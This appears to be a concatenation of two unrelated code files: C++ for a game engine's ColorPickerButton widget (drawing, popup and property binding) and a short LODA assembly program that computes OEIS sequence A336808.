popup->set_position(get_global_position() - picker->get_combined_minimum_size() * get_global_transform().get_scale());
popup->set_scale(get_global_transform().get_scale());
popup->popup();
picker->set_focus_on_line_edit();
}
void ColorPickerButton::_notification(int p_what) {
switch (p_what) {
case NOTIFICATION_DRAW: {
const Ref<StyleBox> normal = get_stylebox("normal");
const Rect2 r = Rect2(normal->get_offset(), get_size() - normal->get_minimum_size());
draw_texture_rect(Control::get_icon("bg", "ColorPickerButton"), r, true);
draw_rect(r, color);
if (color.r > 1 || color.g > 1 || color.b > 1) {
// Draw an indicator to denote that the color is "overbright" and can't be displayed accurately in the preview
draw_texture(Control::get_icon("overbright_indicator", "ColorPicker"), normal->get_offset());
}
} break;
case MainLoop::NOTIFICATION_WM_QUIT_REQUEST: {
if (popup)
popup->hide();
} break;
}
if (p_what == NOTIFICATION_VISIBILITY_CHANGED) {
if (popup && !is_visible_in_tree()) {
popup->hide();
}
}
}
void ColorPickerButton::set_pick_color(const Color &p_color) {
color = p_color;
if (picker) {
picker->set_pick_color(p_color);
}
update();
}
Color ColorPickerButton::get_pick_color() const {
return color;
}
void ColorPickerButton::set_edit_alpha(bool p_show) {
edit_alpha = p_show;
if (picker) {
picker->set_edit_alpha(p_show);
}
}
bool ColorPickerButton::is_editing_alpha() const {
return edit_alpha;
}
ColorPicker *ColorPickerButton::get_picker() {
_update_picker();
return picker;
}
PopupPanel *ColorPickerButton::get_popup() {
_update_picker();
return popup;
}
void ColorPickerButton::_update_picker() {
if (!picker) {
popup = memnew(PopupPanel);
picker = memnew(ColorPicker);
popup->add_child(picker);
add_child(popup);
picker->connect("color_changed", this, "_color_changed");
popup->connect("modal_closed", this, "_modal_closed");
popup->connect("about_to_show", this, "set_pressed", varray(true));
popup->connect("popup_hide", this, "set_pressed", varray(false));
picker->set_pick_color(color);
picker->set_edit_alpha(edit_alpha);
emit_signal("picker_created");
}
}
void ColorPickerButton::_bind_methods() {
ClassDB::bind_method(D_METHOD("set_pick_color", "color"), &ColorPickerButton::set_pick_color);
ClassDB::bind_method(D_METHOD("get_pick_color"), &ColorPickerButton::get_pick_color);
ClassDB::bind_method(D_METHOD("get_picker"), &ColorPickerButton::get_picker);
ClassDB::bind_method(D_METHOD("get_popup"), &ColorPickerButton::get_popup);
ClassDB::bind_method(D_METHOD("set_edit_alpha", "show"), &ColorPickerButton::set_edit_alpha);
ClassDB::bind_method(D_METHOD("is_editing_alpha"), &ColorPickerButton::is_editing_alpha);
ClassDB::bind_method(D_METHOD("_color_changed"), &ColorPickerButton::_color_changed);
ClassDB::bind_method(D_METHOD("_modal_closed"), &ColorPickerButton::_modal_closed);
ADD_SIGNAL(MethodInfo("color_changed", PropertyInfo(Variant::COLOR, "color")));
ADD_SIGNAL(MethodInfo("popup_closed"));
ADD_SIGNAL(MethodInfo("picker_created"));
ADD_PROPERTY(PropertyInfo(Variant::COLOR, "color"), "set_pick_color", "get_pick_color");
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "edit_alpha"), "set_edit_alpha", "is_editing_alpha");
}
ColorPickerButton::ColorPickerButton() {
// Initialization is now done deferred,
// this improves performance in the inspector as the color picker
// can be expensive to initialize.
picker = NULL;
popup = NULL;
edit_alpha = true;
set_toggle_mode(true);
}
|
; A336808: a(n) = (n!)^2 * Sum_{k=0..n} 5^(n-k) / (k!)^2.
; Submitted by Jamie Morken(s2)
; 1,6,121,5446,435681,54460126,9802822681,2401691556846,768541298190721,311259225767242006,155629612883621003001,94155915794590706815606,67792259372105308907236321,57284459169428986026614691246,56138769986040406306082397421081,63156116234295457094342697098716126
add $0,1
mov $2,1
lpb $0
sub $0,1
add $1,$2
mul $2,5
mul $2,$0
mul $2,$0
lpe
mov $0,$1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.